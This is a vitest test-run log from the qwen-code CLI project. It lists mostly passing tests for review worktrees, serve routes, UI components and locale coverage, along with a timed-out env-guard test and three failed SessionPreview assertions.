✓ runBaseTree > refuses when the plan carries no mergeBaseSha 1100ms
✓ runBaseTree > refuses when the base branch could not be fetched — the SHA may be stale 1087ms
✓ runBaseTree > refuses an unreadable plan and a missing worktree without throwing 1107ms
✓ runBaseTree > refuses a mergeBaseSha that is not a commit in this repo 1281ms
✓ src/serve/env-snapshot.test.ts (15 tests) 2151ms
✓ buildEnvStatusFromProcess > snapshots process.env into an independent copy 359ms
✓ buildEnvStatusFromProcess > can build a snapshot from an injected runtime env without reading process.env 338ms
✓ src/ui/hooks/useTrustModify.test.ts (11 tests) 2172ms
✓ useTrustModify > should initialize with the correct trust level 900ms
✓ src/services/review-worktree-lease.test.ts (9 tests) 8703ms
✓ review worktree leases > protects a worktree created after the lease is registered 1553ms
✓ review worktree leases > falls back to removing an unregistered worktree directory 1250ms
✓ review worktree leases > keeps the lease when fallback pruning fails 782ms
✓ review worktree leases > removes only worktrees owned by the completed session 1525ms
✓ review worktree leases > does not let a child prompt clean up its parent review lease 798ms
✓ review worktree leases > does not remove a path outside the review temp directory 497ms
✓ review worktree leases > ignores a lease whose branch does not match its PR target 789ms
✓ review worktree leases > does not derive lease paths from invalid targets 461ms
✓ review worktree leases > lets explicit review cleanup disarm the finalizer 966ms
✓ src/commands/review/lib/workspaces.test.ts (23 tests) 546ms
✓ src/serve/routes/session-telemetry.test.ts (9 tests) 3408ms
✓ special session resolver telemetry publication > publishes the runtime root for creation before later validation 2080ms
✓ src/acp-integration/session/daemon-todo-stop-guard.test.ts (20 tests) 552ms
✓ src/commands/review/lib/diff-plan.integration.test.ts (8 tests) 4661ms
✓ real git capture > parses every file, and gets every path right 488ms
hopping into sandbox (command: docker) ...
Checking for sandbox image: example.com/qwen-code:latest
Sandbox image example.com/qwen-code:latest found locally.
ContainerName (regular): qwen-code-latest-0
using macos seatbelt (profile: permissive-open) ...
using macos seatbelt (profile: permissive-open) ...
✓ src/utils/sandbox.test.ts (25 tests) 1195ms
✓ start_sandbox > passes child environment variables into a container sandbox 690ms
✓ src/serve/routes/workspace-qualified-voice.test.ts (7 tests) 4688ms
✓ workspace-qualified Voice routes > selects only the trusted target runtime and writes Voice settings in workspace scope 2341ms
✓ workspace-qualified Voice routes > transcribes with the selected runtime cwd and effective environment 649ms
✓ workspace-qualified Voice routes > inherits the parent process environment for parent-process runtimes 668ms
✓ workspace-qualified Voice routes > rejects capacity before reading the audio body 392ms
✓ src/ui/hooks/useMouseEvents.test.tsx (11 tests) 2291ms
✓ useMouseEvents > keeps terminal mouse mode enabled until all subscribers are inactive 1400ms
✓ src/serve/cdp-tunnel/cdp-reverse-link.test.ts (14 tests) 818ms
✓ src/serve/daemon-metrics-ring.test.ts (17 tests) 471ms
✓ src/ui/components/hooks/HookConfigDetailStep.test.tsx (17 tests) 6192ms
✓ HookConfigDetailStep > should render hook details title 2378ms
✓ HookConfigDetailStep > should render event name 325ms
✓ HookConfigDetailStep > should handle different event types 563ms
✓ src/acp-integration/session/history-replay-page.test.ts (8 tests) 1233ms
✓ history replay page > lifts record timestamps for bulk replay callers 459ms
✓ history replay page > filters malformed replay state before encoding the next cursor 313ms
✓ src/ui/statusLinePresets.test.ts (18 tests) 402ms
✓ src/serve/fs/contract.test.ts (10 tests) 1213ms
✓ contract: resolveWithinWorkspace ↔ WorkspaceContext > plain file inside workspace 608ms
Warning: MCP approvals file error: MCP approvals file is not a valid JSON object.
Warning: MCP approvals file error: Expected property name or '}' in JSON at position 1 (line 1 column 2)
✓ src/config/mcpApprovals.test.ts (20 tests) 1574ms
✓ mcpApprovals (hash-bound approval store) > returns approved after approval 509ms
✓ src/serve/routes/goals.test.ts (12 tests) 2636ms
✓ GET /goals > returns an empty list when no session has a goal 1273ms
❯ src/serve/process-env-guard.test.ts (3 tests | 1 failed) 88430ms
✓ serve process.env guard > detects dot and element process.env access expressions 826ms
✓ serve process.env guard > detects computed process.env access expressions 67ms
× serve process.env guard > allows only documented process-scoped process.env expressions 87473ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ src/services/voice-service.test.ts (11 tests) 1250ms
✓ voice service > detects configured batch transcription models 429ms
✓ src/ui/themes/color-utils.test.ts (23 tests) 649ms
✓ src/utils/housekeeping/cleanup.test.ts (15 tests) 1377ms
✓ cleanupOldFileHistoryBackups > returns zero result when root does not exist 313ms
✓ src/acp-integration/session/rewrite/LlmRewriter.test.ts (12 tests) 357ms
✓ src/ui/components/Help.test.tsx (8 tests) 10828ms
✓ Help Component > renders Claude Code style tabs and the general page by default 3159ms
✓ Help Component > renders built-in commands in the commands tab without custom command clutter 454ms
✓ Help Component > renders custom, skill, plugin, and MCP commands in the custom tab 471ms
✓ Help Component > switches tabs with Tab and Shift+Tab when interactive 2185ms
✓ Help Component > scrolls long command lists with the up and down keys 2046ms
✓ Help Component > resets scroll position when switching command tabs 1784ms
✓ Help Component > closes with Escape when interactive 323ms
✓ src/utils/warningHandler.test.ts (13 tests) 6479ms
✓ initializeWarningHandler — end-to-end stderr behavior > a child process with the handler installed does not print suppressed AbortSignal warnings to stderr 5867ms
✓ src/ui/hooks/useShellHistory.test.ts (9 tests) 2459ms
✓ useShellHistory > should initialize and read the history file from the correct path 982ms
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
✓ src/serve/routes/workspace-file-write.test.ts (11 tests) 7312ms
✓ POST /file/write > requires a token even on loopback no-token defaults 3362ms
✓ POST /file/write > creates a text file with no-store headers 805ms
✓ POST /file/write > maps a generation closed at the write boundary to retryable unavailable 640ms
✓ POST /file/write > does not overwrite existing files in create mode 312ms
✓ POST /file/write > replaces only when expectedHash matches 410ms
✓ POST /file/write > rejects untrusted workspace writes 408ms
✓ POST /file/edit > applies one edit and returns a new hash 335ms
✓ POST /file/edit > returns typed errors for absent and ambiguous oldText 353ms
✓ src/commands/extensions/update.test.ts (15 tests) 1426ms
✓ extensions update command > should fail if neither name nor --all is provided 593ms
✓ src/ui/hooks/extension-mention-ref.test.ts (24 tests) 711ms
✓ src/ui/commands/forkCommand.test.ts (15 tests) 956ms
✓ src/ui/components/hooks/HookDetailStep.test.tsx (14 tests) 4774ms
✓ HookDetailStep > renders the "Event - Matchers" title 2486ms
✓ HookDetailStep > renders inline exit code descriptions 346ms
✓ src/ui/themes/theme-manager.test.ts (19 tests) 984ms
✓ src/ui/hooks/useKeypress.test.ts (15 tests) 2541ms
✓ useKeypress > should not listen if isActive is false 960ms
✓ src/services/skill-args-file.test.ts (14 tests) 883ms
✓ src/ui/hooks/useGitBranchName.test.ts (12 tests) 2120ms
✓ useGitBranchName > reads the branch name on mount 912ms
✓ src/ui/commands/skillsCommand.test.ts (10 tests) 767ms
✓ src/acp-integration/session/emitters/PlanEmitter.test.ts (20 tests) 601ms
✓ src/ui/contexts/SessionContext.test.tsx (7 tests) 2928ms
✓ SessionStatsContext > should provide the correct initial state 1347ms
✓ SessionStatsContext > should throw an error when useSessionStats is used outside of a provider 719ms
✓ src/ui/commands/compressCommand.test.ts (11 tests) 1414ms
✓ compressCommand > should do nothing if a compression is already pending 580ms
✓ src/config/extension-refresh-state.test.ts (10 tests) 475ms
✓ src/ui/voice/voice-stream-session.test.ts (12 tests) 1450ms
✓ voice-stream-session > derives websocket URLs from https/http base URLs with path prefixes 386ms
✓ src/ui/layouts/DefaultAppLayout.test.tsx (10 tests) 3188ms
✓ DefaultAppLayout > renders sticky todo list before the composer in the main view 1784ms
✓ src/services/command-migration-tool.test.ts (14 tests) 2371ms
✓ command-migration-tool > detectTomlCommands > should detect TOML files in directory 1017ms
✓ command-migration-tool > migrateTomlCommands > should migrate TOML file to Markdown 394ms
✓ command-migration-tool > migrateTomlCommands > should preserve YAML-like descriptions as strings 401ms
✓ src/ui/components/extensions/views/ExtensionActionsView.test.tsx (6 tests) 2750ms
✓ ExtensionActionsView > commits a scope change atomically and surfaces committed warnings 1918ms
✓ src/serve/channel-workspace-grouping.test.ts (16 tests) 445ms
✓ src/ui/components/ShellConfirmationDialog.test.tsx (12 tests) 6306ms
✓ ShellConfirmationDialog > renders correctly 2897ms
✓ ShellConfirmationDialog > calls onConfirm with ProceedOnce when "Yes, allow once" is selected 582ms
✓ ShellConfirmationDialog > calls onConfirm with ProceedAlwaysProject when "Always allow in this project" is selected 307ms
✓ ShellConfirmationDialog > calls onConfirm with Cancel when "No (esc)" is selected 329ms
✓ ShellConfirmationDialog > keeps the choices visible when many commands are shown in a small terminal 395ms
✓ ShellConfirmationDialog > shows the command preview at the 11-row boundary 324ms
Wrote diff plan to /tmp/plan-diff-V1fHO0/plan.json
Diff: 1204 lines (1204 source, 0 test, 0 docs, 0 generated) -> 4 review chunk(s)
Wrote diff plan to /tmp/plan-diff-foaYdG/plan.json
Diff: 64 lines (64 source, 0 test, 0 docs, 0 generated) -> 1 review chunk(s)
effort: medium (from --effort)
Wrote diff plan to /tmp/plan-diff-L3hFwJ/plan.json
Diff: 64 lines (64 source, 0 test, 0 docs, 0 generated) -> 1 review chunk(s)
effort: medium (from parse-args report)
Wrote diff plan to /tmp/plan-diff-DkSi1H/plan.json
Diff: 64 lines (64 source, 0 test, 0 docs, 0 generated) -> 1 review chunk(s)
Wrote diff plan to /tmp/plan-diff-FyrBr6/plan.json
Diff: 64 lines (64 source, 0 test, 0 docs, 0 generated) -> 1 review chunk(s)
Wrote diff plan to /tmp/plan-diff-eVeNPV/plan.json
Diff: 2004 lines (2004 source, 0 test, 0 docs, 0 generated) -> 6 review chunk(s)
Wrote diff plan to /tmp/plan-diff-GS0BLz/plan.json
Diff: 116 lines (14 source, 24 test, 34 docs, 44 generated) -> 1 review chunk(s)
Wrote diff plan to /tmp/plan-diff-mLTsE0/plan.json
Diff: 54 lines (54 source, 0 test, 0 docs, 0 generated) -> 1 review chunk(s)
Wrote diff plan to /tmp/plan-diff-2B5ljl/plan.json
WARNING: the diff is empty — 0 chunks. Reviewing from this plan would examine no code. Review the file's current contents instead.
Diff: 0 lines (0 source, 0 test, 0 docs, 0 generated) -> 0 review chunk(s)
✓ src/commands/review/plan-diff.test.ts (12 tests) 1416ms
✓ plan-diff > emits the same chunk plan a fetch report carries 522ms
✓ src/config/migration/versions/v3-to-v4.test.ts (32 tests) 528ms
✓ src/acp-integration/session/Session.review-lease.test.ts (4 tests) 1245ms
✓ Session review-worktree lease sweep > RL1: the turn body observes this prompt in promptIdContext 577ms
✓ Session review-worktree lease sweep > RL2: a completed prompt sweeps its review-worktree leases 303ms
✓ src/utils/gitUtils.test.ts (34 tests) 1589ms
✓ isGitHubRepositoryAsync > returns false if the git command fails 366ms
✓ src/ui/utils/historyUtils.test.ts (21 tests) 181ms
✓ src/ui/commands/insightCommand.test.ts (5 tests) 890ms
✓ insightCommand > uses runtime base dir to locate projects directory 412ms
✓ src/commands/review/lib/ledger.test.ts (12 tests) 319ms
✓ src/ui/commands/ideCommand.test.ts (8 tests) 1126ms
✓ ideCommand > should return the ide command 415ms
✓ ideCommand > install subcommand > should install the extension 304ms
✓ src/utils/osc.test.ts (30 tests) 826ms
✓ detectTerminal > detects iTerm.app via TERM_PROGRAM 314ms
✓ src/commands/update.test.ts (10 tests) 28351ms
✓ update command > prints the package-manager update command even when auto-update is disabled 27755ms
✓ src/ui/hooks/useInputHistoryStore.test.ts (14 tests) 2225ms
✓ useInputHistoryStore > should initialize with empty input history 876ms
✓ src/serve/cdp-tunnel/cdp-ws.test.ts (10 tests) 890ms
✓ attachCdpClient (Plan C #5626) > lazy-attaches before forwarding the first page command 349ms
✓ src/ui/hooks/useMcpApproval.test.ts (11 tests) 2763ms
✓ useMcpApproval > is closed when there are no project servers 991ms
✓ useMcpApproval > approve persists, un-gates, reconnects, and advances the queue 467ms
✓ useMcpApproval > reject persists rejected, does not reconnect, advances 311ms
✓ src/ui/voice/native-audio-recorder.test.ts (12 tests) 1163ms
✓ src/ui/hooks/useSessionPicker.test.tsx (8 tests) 2193ms
✓ useSessionPicker invariants > throws when enableMultiSelect is on without onConfirmMulti 1016ms
✓ useSessionPicker multi-select state > toggleChecked adds and removes ids 400ms
✓ src/ui/components/hooks/HandlerListBody.test.tsx (11 tests) 3843ms
✓ HandlerListBody > describeHook (rendered as the row label) > renders the command path for command hooks 2154ms
✓ HandlerListBody > describeHook (rendered as the row label) > falls back to function id, then to "function-hook" placeholder 317ms
✓ src/commands/review/lib/report.test.ts (13 tests) 1522ms
✓ buildPlanReport > flags a heavy file, using the injected line count 318ms
✓ src/ui/hooks/useEditorSettings.test.ts (10 tests) 1845ms
✓ useEditorSettings > should initialize with dialog closed 794ms
✓ src/ui/components/StatusLineDialog.test.tsx (5 tests) 11332ms
✓ StatusLineDialog > renders a searchable preset picker with preview 3293ms
✓ StatusLineDialog > persists selected presets on enter 1634ms
✓ StatusLineDialog > keeps preset priority order after an item is toggled off and on 4381ms
✓ StatusLineDialog > saves back to workspace settings when workspace config is effective 925ms
✓ StatusLineDialog > does not append navigation keys to the search query 989ms
✓ src/acp-integration/session/permissionUtils.test.ts (11 tests) 915ms
✓ permissionUtils > accepts only an option that was actually offered 311ms
✓ src/utils/envVarResolver.test.ts (16 tests) 461ms
✓ src/utils/writeWithBackup.test.ts (13 tests) 526ms
✓ src/utils/runBudget.test.ts (42 tests) 831ms
✓ src/ui/utils/export/normalize.test.ts (6 tests) 457ms
✓ src/ui/components/background-view/BackgroundTasksPill.test.tsx (20 tests) 214ms
✓ src/services/prompt-processors/injectionParser.test.ts (21 tests) 330ms
✓ src/commands/mcp/list.test.ts (7 tests) 399ms
✓ src/ui/hooks/useReverseSearchCompletion.test.tsx (10 tests) 1771ms
✓ useReverseSearchCompletion > Core Hook Behavior > State Management > should initialize with default state 794ms
qwen serve: bridge error (GET /workspace/git): Error: git failed
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git.test.ts:98:27)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.spy [as getStatus] (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git.ts:48:42
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
at handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:435:11)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at /build/qwen-code/src/qwen-code/node_modules/router/index.js:295:15
qwen serve: bridge error (GET /workspaces/:workspace/git): Error: qualified git failed
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git.test.ts:234:27)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.spy [as getStatus] (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git.ts:121:44
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
at handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:435:11)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at /build/qwen-code/src/qwen-code/node_modules/router/index.js:295:15
✓ src/serve/routes/workspace-git.test.ts (9 tests) 2070ms
✓ workspace Git routes > returns Git status for the bound workspace 1083ms
✓ workspace Git routes > returns a structured error when bound Git status fails 318ms
qwen serve: GET /usage/dashboard failed: boom
✓ src/serve/routes/usage-stats.test.ts (7 tests) 2737ms
✓ usage-stats route (cache + range + clamping) > builds and serves the dashboard from loaded history 958ms
✓ usage-stats route (cache + range + clamping) > does not cache a failed load (next request retries) 358ms
✓ usage-stats route (cache + range + clamping) > clamps the heatmapDays query 427ms
✓ src/config/migration/versions/v1-to-v2.test.ts (20 tests) 714ms
✓ src/services/prompt-processors/atFileProcessor.test.ts (11 tests) 1080ms
✓ AtFileProcessor > should not change the prompt if no @{ trigger is present 381ms
✓ src/ui/components/background-view/agent-forest.test.ts (20 tests) 261ms
✓ src/ui/components/PluginChoicePrompt.test.tsx (13 tests) 4415ms
✓ PluginChoicePrompt > rendering > renders marketplace name in title 1934ms
✓ PluginChoicePrompt > keyboard navigation > navigates with Ctrl+N/P readline aliases 519ms
✓ src/ui/components/messages/ConversationMessages.test.tsx (18 tests) 3071ms
✓ > should render content when pending (streaming) 1457ms
Wrote resolved anchors to /tmp/resolve-anchors-i3089Y/out.json
Anchors: 2/3 resolved, 1 corrected, 1 UNMATCHED
corrected src/pay.ts: agent said line 99, the snippet is at 12
UNMATCHED c (src/ghost.ts): file is not in the diff (1 file(s) changed)
Wrote resolved anchors to /tmp/resolve-anchors-2xreoZ/nested/deeper/anchors.json
Anchors: 0/0 resolved
Wrote resolved anchors to /tmp/resolve-anchors-t7yjRC/out.json
Anchors: 2/2 resolved
✓ src/commands/review/resolve-anchors.test.ts (16 tests) 893ms
✓ resolve-anchors (command boundary) > partitions resolved and unmatched, and reports honest stats 317ms
✓ src/ui/hooks/useExportCompletion.test.ts (20 tests) 1127ms
✓ useExportCompletion > returns null display props outside export cycling 519ms
✓ src/serve/daemon-status-provider.test.ts (4 tests) 14708ms
✓ DaemonWorkspaceService — daemon-host status provider integration > answers /workspace/env from process state without consulting ACP, idle or live 364ms
✓ DaemonWorkspaceService — daemon-host status provider integration > returns daemon preflight cells with not_started ACP cells when idle 5027ms
✓ DaemonWorkspaceService — daemon-host status provider integration > merges daemon cells with live ACP-side preflight cells when a channel is up 4397ms
✓ DaemonWorkspaceService — daemon-host status provider integration > falls back to idle ACP cells + envelope error when queryWorkspaceStatus throws mid-preflight 4834ms
✓ src/ui/selection/use-text-selection.test.tsx (9 tests) 1598ms
✓ TextSelectionController > turns a mouse drag into a highlight and clipboard payload 899ms
✓ src/serve/fs/policy.test.ts (18 tests) 1206ms
✓ shouldIgnore > flags files matching .gitignore-style patterns 715ms
✓ src/commands/review/script-lint.test.ts (14 tests | 3 skipped) 708ms
✓ runScriptLint — graceful degradation and scoping > defers a workflow to skipped — actionlint source-mapping is not yet supported 429ms
✓ src/ui/hooks/useInputHistory.test.ts (11 tests) 1260ms
✓ useInputHistory > should initialize with historyIndex -1 and empty originalQueryBeforeNav 562ms
✓ src/config/environment.test.ts (7 tests) 896ms
✓ buildRuntimeEnvironment > computes a runtime overlay without mutating process.env or base env 607ms
✓ src/ui/components/SettingsCorruptedDialog.test.tsx (8 tests) 5742ms
✓ SettingsCorruptedDialog > should show recovered settings label when wasRecovered=true 2370ms
✓ SettingsCorruptedDialog > should move selection with up/down arrows 996ms
✓ SettingsCorruptedDialog > should call onExit when pressing Enter on EXIT option 357ms
✓ SettingsCorruptedDialog > should call onContinue when pressing Enter on CONTINUE option 423ms
✓ SettingsCorruptedDialog > should display the corrupted file path 598ms
✓ src/ui/commands/voice-command.test.ts (11 tests) 678ms
✓ src/ui/components/TrustDialog.test.tsx (7 tests) 4391ms
✓ TrustDialog > should render the main dialog with current trust level 2303ms
✓ TrustDialog > should display the inherited trust note from parent 439ms
✓ TrustDialog > should display the inherited trust note from IDE 452ms
✓ TrustDialog > should call onExit when escape is pressed 336ms
Error saving trusted folders file.
invalid trusted folders file
✓ src/ui/hooks/useFolderTrust.test.ts (10 tests) 1880ms
✓ useFolderTrust > should not open dialog when folder is already trusted 869ms
✓ src/remoteInput/RemoteInputWatcher.test.ts (10 tests) 1818ms
✓ RemoteInputWatcher > forwards submit commands to the registered submit fn 679ms
✓ src/ui/commands/setupGithubCommand.test.ts (9 tests) 1779ms
✓ setupGithubCommand > remains interactive-only 360ms
✓ setupGithubCommand > returns a tool action to download github workflows and handles paths 1006ms
✓ src/ui/commands/lspCommand.test.ts (9 tests) 902ms
✓ src/ui/commands/compressFastCommand.test.ts (9 tests) 1036ms
✓ compressFastCommand > should do nothing if a compression is already pending 473ms
✓ src/ui/utils/asciiCharts.test.ts (21 tests) 1046ms
✓ buildBrailleLineChart > returns null when all values are zero 346ms
✓ src/ui/utils/formatters.test.ts (35 tests) 745ms
✓ src/commands/review/capture-local.test.ts (11 tests) 1061ms
✓ capture-local (command boundary) > writes the diff and a plan the review can read 604ms
✓ src/ui/commands/bugCommand.test.ts (4 tests) 881ms
✓ bugCommand > should generate the default GitHub issue URL 506ms
✓ src/ui/components/Header.test.tsx (19 tests) 6512ms
✓ > renders the ASCII logo on wide terminal 2951ms
✓ > falls back to the default Qwen logo when no custom art was provided at all 436ms
✓ src/ui/hooks/useIdeTrustListener.test.ts (5 tests) 1850ms
✓ useIdeTrustListener > should initialize correctly with no trust information 1017ms
✓ useIdeTrustListener > should set needsRestart when IDE trust changes 324ms
✓ src/ui/utils/computeStats.test.ts (12 tests) 308ms
✓ src/ui/components/hooks/matcherGrouping.test.ts (13 tests) 395ms
Preparing worktree (checking out 'topic')
fatal: 'wt' is a missing but already registered worktree;
use 'add -f' to override, or 'prune' or 'remove' to clear
error: cannot delete branch 'qwen-review/pr-1' used by worktree at '/tmp/review-wt-ja0iyl/wt'
✓ src/commands/review/lib/git.integration.test.ts (8 tests) 7311ms
✓ releaseWorktree > removes a live worktree and reports that it was there 1241ms
✓ releaseWorktree > removes an unregistered non-empty leftover git no longer tracks 1070ms
✓ releaseWorktree > frees a path whose directory was deleted by hand 1208ms
✓ releaseWorktree > unlocks the branch a phantom worktree still holds checked out 1079ms
✓ releaseWorktree > is a no-op when there is nothing registered 722ms
✓ releaseWorktree > does not throw when git itself fails 631ms
✓ gitRawTolerateDiff > returns the diff when git exits 1 because the inputs differ 654ms
✓ gitRawTolerateDiff > throws when git exits 1 with NO output — that is a failure, not a diff 640ms
✓ src/ui/components/SuggestionsDisplay.test.tsx (9 tests) 3772ms
✓ SuggestionsDisplay > renders localized loading text in zh 2220ms
✓ SuggestionsDisplay > truncates long slash command descriptions to a single line by default 348ms
✓ src/commands/extensions/sources.test.ts (11 tests) 2075ms
✓ extensions sources command > should parse the sources subcommands 1530ms
✓ src/i18n/mustTranslateKeys.test.ts (20 tests) 6015ms
✓ must-translate locale coverage > includes every required key in the English baseline locale 339ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'zh-TW', id: 'zh-TW', fullName: 'Traditional Chinese', nativeName: '繁體中文', strictParity: true } 724ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'ru', id: 'ru-RU', fullName: 'Russian', nativeName: 'Русский' } 753ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'de', id: 'de-DE', fullName: 'German', nativeName: 'Deutsch' } 696ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'ja', id: 'ja-JP', fullName: 'Japanese', nativeName: '日本語' } 571ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'pt', id: 'pt-BR', fullName: 'Portuguese', nativeName: 'Português' } 561ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'fr', id: 'fr-FR', fullName: 'French', nativeName: 'Français' } 588ms
✓ must-translate locale coverage > does not fall back to English for required keys in { code: 'ca', id: 'ca-ES', fullName: 'Catalan', nativeName: 'Català' } 683ms
✓ must-translate locale coverage > does not fall back to English for any built-in command description in strict-parity locale { code: 'zh-TW', id: 'zh-TW', fullName: 'Traditional Chinese', nativeName: '繁體中文', strictParity: true } 614ms
✓ src/commands/extensions/new.test.ts (9 tests) 2235ms
✓ extensions new command > should fail if no path is provided 808ms
✓ extensions new command > should create directory when no template is provided 529ms
✓ src/ui/hooks/useTurnDiffs.test.ts (7 tests) 1820ms
✓ useTurnDiffs > returns empty when disabled 884ms
✓ src/commands/channel/observed-contact-store.test.ts (11 tests) 1052ms
✓ ObservedChannelContactStore > separates direct users from observed group and topic membership 306ms
✓ src/commands/review/comment-status.test.ts (12 tests) 782ms
✓ src/ui/commands/hooksCommand.test.ts (8 tests) 877ms
✓ src/ui/hooks/useSlashCompletion.integration.test.ts (4 tests) 1909ms
✓ useSlashCompletion integration > prefers higher completionPriority over weaker fuzzy matches 1288ms
✓ src/core/initializer.test.ts (14 tests) 879ms
✓ initializeApp > should initialize i18n with language from settings 433ms
✓ src/serve/permission-audit.test.ts (10 tests) 457ms
✓ src/ui/components/agent-view/AgentTabBar.test.tsx (7 tests) 3429ms
✓ AgentTabBar > Up on the Main view ascends to the live agent panel when a bg agent roster exists 2378ms
✓ src/serve/acp-http/client-mcp-sender-registry.test.ts (10 tests) 607ms
✓ src/ui/components/BaseTextInput.test.tsx (12 tests) 3682ms
✓ BaseTextInput > does not type the render-mode shortcut into the buffer 2469ms
✓ BaseTextInput > still passes pasted µ text through to the buffer 321ms
✓ src/ui/components/messages/CompressionMessage.test.tsx (8 tests) 3469ms
✓ > pending state > renders pending message when compression is in progress 2118ms
✓ src/ui/components/hooks/HookMatcherDetailStep.test.tsx (8 tests) 3991ms
✓ HookMatcherDetailStep > renders the "Event - Matcher: " title 2395ms
✓ src/serve/server/access-log.test.ts (6 tests) 892ms
✓ src/utils/costCalculator.test.ts (18 tests) 314ms
✓ src/ui/hooks/useMemoryMonitor.test.ts (8 tests) 1646ms
✓ useMemoryMonitor > should not warn when memory usage is below threshold 803ms
✓ src/ui/components/messages/DiffStatsDisplay.test.tsx (8 tests) 3114ms
✓ DiffStatsDisplay > renders header and per-file rows aligned in columns 1804ms
✓ DiffStatsDisplay > renders the "…and N more" note when hiddenCount > 0 557ms
✓ src/ui/hooks/usePhraseCycler.test.ts (9 tests) 2044ms
✓ usePhraseCycler > should initialize with a witty phrase when not active and not waiting 995ms
✓ src/ui/hooks/useTimer.test.ts (13 tests) 1950ms
✓ useTimer > should initialize with 0 771ms
✓ src/ui/utils/highlight.test.ts (18 tests) 757ms
✓ parseInputForHighlighting > should handle an empty string 343ms
✓ src/ui/voice/voice-recorder.test.ts (8 tests) 670ms
✓ src/serve/workspace-route-runtime.test.ts (18 tests) 796ms
qwen serve: Voice runtime disposal timed out with 1 active lease(s).
✓ src/serve/voice/workspace-voice-coordinator.test.ts (8 tests) 636ms
✓ src/ui/components/arena/ArenaSelectDialog.test.tsx (5 tests) 5514ms
✓ ArenaSelectDialog > toggles quick preview and detailed diff for the highlighted agent 3520ms
✓ ArenaSelectDialog > closes without applying or cleaning up when Escape is pressed 425ms
✓ ArenaSelectDialog > discards results without applying changes when x is pressed 351ms
✓ ArenaSelectDialog > applies the highlighted successful agent when Enter is pressed 456ms
✓ ArenaSelectDialog > ignores Enter when the highlighted agent is not selectable 533ms
✓ src/serve/fs/errors.test.ts (20 tests) 365ms
✓ src/config/loadedSettingsAdapter.test.ts (5 tests) 733ms
✓ src/ui/layouts/ScreenReaderAppLayout.test.tsx (9 tests) 2922ms
✓ ScreenReaderAppLayout > renders sticky todo list before the composer 1776ms
✓ src/ui/components/AnsiOutput.test.tsx (9 tests) 3577ms
✓ > renders a simple AnsiOutput object correctly 1772ms
✓ > renders a large AnsiOutput object without crashing 321ms
✓ > truncates wide lines to fit within maxWidth 573ms
✓ src/ui/commands/approvalModeCommand.test.ts (14 tests) 13972ms
✓ approvalModeCommand > direct mode setting (session-only) > should emit the entry notice when switching to auto mode 13072ms
✓ src/ui/components/shared/RowMouseController.test.tsx (8 tests) 1270ms
✓ RowMouseController > highlights the row under the pointer on move 806ms
✓ src/ui/components/mcp/utils.test.ts (16 tests) 547ms
✓ src/ui/commands/initCommand.test.ts (6 tests) 12069ms
✓ initCommand > should ask for confirmation if QWEN.md already exists and is non-empty 11513ms
❯ src/ui/components/SessionPreview.test.tsx (7 tests | 3 failed) 7384ms
✓ SessionPreview > shows loading state before data arrives 2196ms
× SessionPreview > renders all messages after load 879ms
→ expected ' My session\n────────────────────────…' to contain 'PREVIEW-MARKER'
× SessionPreview > renders full resumed thinking content after load 1553ms
→ expected ' My session\n────────────────────────…' to contain 'Thinking…'
✓ SessionPreview > renders footer metadata (messageCount · time · branch) 1213ms
× SessionPreview > falls back to count from loaded conversation when messageCount prop is absent 424ms
→ expected ' My session\n────────────────────────…' to match /2\s*messages/
✓ SessionPreview > calls onExit when Escape is pressed 623ms
✓ SessionPreview > calls onResume(sessionId) when Enter is pressed 418ms
✓ src/config/skill-settings.test.ts (11 tests) 628ms
✓ resolveSkillSettings > lets a workspace opt-in override a user default case-insensitively 329ms
✓ src/utils/windowTitle.test.ts (21 tests) 914ms
✓ src/commands/extensions/utils.test.ts (11 tests) 871ms
✓ src/ui/commands/mcpCommand.test.ts (10 tests) 709ms
✓ src/ui/components/shared/TextInputMouseController.test.tsx (7 tests) 1393ms
